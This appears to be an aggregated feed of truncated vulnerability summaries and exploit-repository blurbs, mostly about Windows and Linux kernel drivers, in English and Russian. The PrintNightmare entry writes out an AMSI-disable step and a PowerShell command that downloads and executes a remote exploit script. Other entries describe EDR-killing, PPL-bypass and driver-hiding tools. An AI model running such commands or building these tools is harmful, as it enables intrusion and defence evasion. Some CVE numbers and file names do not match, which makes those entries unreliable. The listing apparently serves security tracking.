ROS-20261005-73-0153

The vulnerability of the f81604readintcallback function in the drivers/crypto/ccp/sev-dev-tsm.c file of the Linux kernel cryptographic accelerator driver is related to the reutilization of previously freed memory. Exploiting this vulnerability could allow an attacker to compromise the...

PT-2026-104749

The NXP GAU ADC driver drivers/adc/adc mcux gau adc.c validated the caller-supplied sequence-buffer size, which is expressed in bytes, against the number of active channels, which is a sample count. It then stored that byte count directly in data-results length and used it in mcux gau adc read...

CVE-2026-19184: Out-of-bounds Write

The NXP GAU ADC driver drivers/adc/adcmcuxgauadc.c validated the caller-supplied sequence-buffersize, which is expressed in bytes, against the number of active channels, which is a sample count. It then stored that byte count directly in data-resultslength and used it in mcuxgauadcreadsamples as...

ALSA-2026:75747 Important: kernel security, bug fix, and enhancement update

The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fixes: kernel: Linux kernel: Use-after-free in xc5000 tuner driver due to race condition CVE-2025-39994 kernel: gfs2: Fix unlikely race in gdlmputlock CVE-2025-40242 kernel: Linux kernel: Denial of...

CVE-2018-19321

CVE-2018-19321 CVE-2018-19321 Описание Низкоуровневые драйверы GPCIDrv и GDrv в GIGABYTE APP Center v1.05.21 и более ранних версиях, AORUS GRAPHICS ENGINE до 1.57, XTREME GAMING ENGINE до 1.26 и OC GURU II v2.08 предоставляют возможность чтения и записи произвольной физической памяти. Это может...

CVE-2020-12928

CVE-2020-12928 Код эксплойта LPE Этот репозиторий предназначен только в образовательных целях . демо Ссылки: https://h0mbre.github.io/RyzenMasterCVE/ https://movaxbx.ru/2020/10/14/cve-2020-12928-exploit-proof-of-concept-privilege-escalation-in-amd-ryzen-master-amdryzenmasterdriver-sys/...

CVE-2024-26229-BOF

CVE-2024-26229 BOF Реализация Beacon Object File для CVE-2024-26229 — локальное повышение привилегий через драйвер CSC Windows с помощью кражи токена DKOM. Основано на RalfHacker/CVE-2024-26229-exploit, переработано в BOF с разрешением функций во время выполнения DFR для использования с...

nuc-winring0-fix

Intel NUC Уязвимый драйвер WinRing0 - Руководство по постоянному удалению Защитник Windows помечает OpenHardwareMonitorLib.sys драйвер WinRing0 как VulnerableDriver:WinNT/Winring0 из-за CVE-2020-14979. Этот драйвер входит в состав службы Intel NUC Software Studio и переустанавливается через Центр...

CVE-2021-1656

POC для CVE-2021-1656, раскрытие информации в tpm.sys...

cve-2021-1675

cve-2021-1675 отключить amsi: скопируйте в PowerShell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt выполнить invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' создать учетную...

AntimalwareBlight

Use this PowerShell module to execute PowerShell code at the antimalware-light protection level. This code was highlighted in the Living Off the Walled Garden: Abusing the Features of the Early Launch Antimalware Ecosystem REcon talk as well as Black Hat USA 2022. This module needs to run elevate...

kernel-debug-lab-for-virtual-box

Как настроить лабораторию VirtualBox для отладки драйвера ядра с помощью Windbg Здесь предполагается, что на компьютере A уже установлен windbg, а на компьютере B установлены Visual Studio, SDK и WDK. 1. Откройте Host network Manager, чтобы создать или настроить новый Virtual Box Host-Only Ethern...

CVE-2021-27965

CVE-2021-27965 Доказательство концепции для CVE-2021-27965 переполнение буфера в стеке ПРИМЕЧАНИЕ: Вероятно, я не буду обновлять это дальше есть еще шанс, что я закончу. В настоящее время я могу чисто перезаписать указатель инструкций, но считаю, что этого достаточно, чтобы доказать, что у меня...

e1000_vulnerability_exploit

e1000vulnerabilityexploit Установка $ ./install.sh Пока поддерживается только сборка собственной версии. Пожалуйста, выберите own и debug для сборки вашей отладочной версии. Предупреждение: Во время процесса может возникнуть ошибка, особенно во время компиляции исходников. Вы можете увидеть что-т...

breakcyserver

breakcyserver Полный пост: https://waawaa.github.io/ 1. Завершает службы EDR, закрывая все открытые дескрипторы процесса EDR. 2. Обходит PPL, злоупотребляя некоторыми функциями драйверов Process Explorer. 3. Обходит реализацию ObRegisterCallbacks, злоупотребляя функциями драйвера Process...

CallMeWin32kDriver

CallMeWin32kDriver Загружайте свой драйвер как win32k.sys Мотивация Данная функция была проанализирована из некоего читерского драйвера для PUBG. Что он умеет? Защита от прямого дампа анти-руткит-инструментами Обход MmCopyMemory Скрытие мира не вызывает срабатывания PG Как обнаружить? Присоединит...

CVE-CVSS--CVE-2024-38063-IPv6-TCP-IP-Remote-Code-Execution-Analysis

🔐 CVE-2024-38063 — Анализ удаленного выполнения кода в IPv6 TCP/IP 📌 Описание проекта Данный проект представляет технический анализ и практическую демонстрацию критической уязвимости CVE-2024-38063 , раскрытой Microsoft во время вторника обновлений 13 августа 2024 г.. Уязвимость затрагивает стек...

CVE-2020-24089

CVE-2020-24089 Повышение привилегий в Windows Проблема обнаружена в ImfHpRegFilter.sys в IOBit Malware Fighter версии 8.0.2, что позволяет локальным злоумышленникам вызвать отказ в обслуживании DoS. Ссылка на CVE - https://vulners.com/cve/CVE-2020-24089...

CVE-2026-38053---Remove-PPL

CVE-2026-38053---Remove-PPL BYOVD Remove PPL для 24H2 и 25H2 Произвольная запись в память в обработчике IOCTL 0x12C807 METHODNEITHER Wise System Monitor v1.5.3.127 позволяет злоумышленникам вызвать снятие PPL или отказ в обслуживании DoS с помощью специально сформированного ввода. Дополнительная...

CVE-2020-14955

CVE-2020-13955 Экспериментальная среда: win7 x32 Официальный сайт ПО: http://www.jiangmin.com/ Адрес загрузки ПО: http://www.jiangmin.com/PC/207.html Версия ПО: 16.0.13.129 Затронутый компонент: KVFG.SYS Проблемный IOCTL: 0x00220440...